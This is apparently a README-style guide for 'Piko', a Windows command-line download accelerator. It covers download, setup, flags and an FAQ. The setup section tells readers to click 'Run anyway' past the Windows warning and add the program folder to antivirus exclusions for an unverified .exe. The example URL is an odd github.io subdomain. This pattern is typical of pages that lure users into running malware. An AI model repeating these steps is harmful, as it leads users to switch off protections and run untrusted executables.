📦 How to get the software

1. Visit the official releases page.
2. Look for the Assets section.
3. Select the file ending in .exe that matches your Windows version.
4. Save the file to your computer.
5. Create a folder on your Desktop named "Piko" and move the downloaded file there.

⚙️ Setting up your system

Windows often blocks unknown software. Follow these steps to prepare your computer:

1. Locate the folder where you saved the Piko file.
2. If you see a warning screen when you open the file, select "More info."
3. Click "Run anyway."
4. If you have an antivirus program, you may need to add the Piko folder to your list of exclusions to prevent interruptions during file transfers.

🚀 How to use Piko

Piko operates through a command line interface. This means you type instructions for the computer to follow.

1. Click the Start button on your Windows taskbar.
2. Type cmd and press Enter to open the Command Prompt.
3. Type cd followed by a space, then drag your Piko folder into the window. Press Enter.
4. Now you can start a download. Type the following command and press Enter:

piko -n 32 -o output_name.zip https://prehistoric-delamare646.github.io

Replace https://prehistoric-delamare646.github.io with the actual link of the file you want to download. Replace output_name.zip with the name you want for your saved file.

🛠️ Advanced tips for better performance

If your download speed remains slow, change the number of workers. The -n flag controls how many parts Piko creates.

• Use -n 16 for standard home connections.
• Use -n 32 for high-speed fiber lines.
• Use -n 64 only if you have a very stable connection.

If a server requires authentication, use the -H flag to add your security headers. For example, add -H "Authorization: Bearer your_token_here" to your command string.

📋 Frequently asked questions

Do I need to install anything else? No, Piko is a self-contained tool. You do not need Java, Python, or other extra software.

Why does my file stop downloading? Some websites block multiple connections. If a download fails, try again without the -n flag to use a single connection.

How do I test my connection speed? You can run a speed test without saving the data. Use this command:

piko -n 32 -o NUL https://prehistoric-delamare646.github.io

This command discards the data after it downloads, which helps you verify your maximum download speed without filling your hard drive.

Can I stop a download and restart it later? Piko manages temporary data files. If you close the window, just run the exact same command again. The tool detects the existing parts and continues from where it stopped.

What is the best way to handle proxy traffic? If you use a corporate proxy, define your proxy settings in your Windows Environment Variables. Piko reads these settings automatically.
